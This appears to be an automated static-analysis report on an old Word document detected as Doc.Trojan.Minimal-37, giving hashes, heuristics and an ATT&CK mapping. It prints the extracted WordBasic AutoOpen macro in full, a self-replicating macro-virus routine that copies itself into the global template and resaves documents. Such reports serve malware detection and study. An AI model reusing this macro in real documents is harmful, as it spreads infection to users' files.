Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 22868a83aca268f6…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-09-09 05:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1c3c389db6d6919cbee9597b3cec9921 SHA-1: 6faa0a3dfd5ae3c6f403f17d757fe53a6e279ee2 SHA-256: 22868a83aca268f6b9708d611ca0f343a2a634dd2c0aed6f16724af1bf307c77
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic AutoOpen macro. This macro is designed to copy itself and save the document in a format that facilitates its execution, likely to ensure it runs automatically when the document is opened. The presence of the AutoOpen macro and the legacy WordBasic marker strongly suggests malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-37
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 537 bytes
SHA-256: b40a2445e569b7888dab7df1b37729eda1ad00e8068abca0ae754b8d04951170
Detection
ClamAV: Doc.Trojan.Minimal-37
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
On Error Resume Next
WordBasic.MacroCopy "AutoOpen", WordBasic.[FileName$]() + ":" + "AutoOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":" + "AutoOpen", "AutoOpen"
WordBasic.FileSaveAs Format:=1
End Sub

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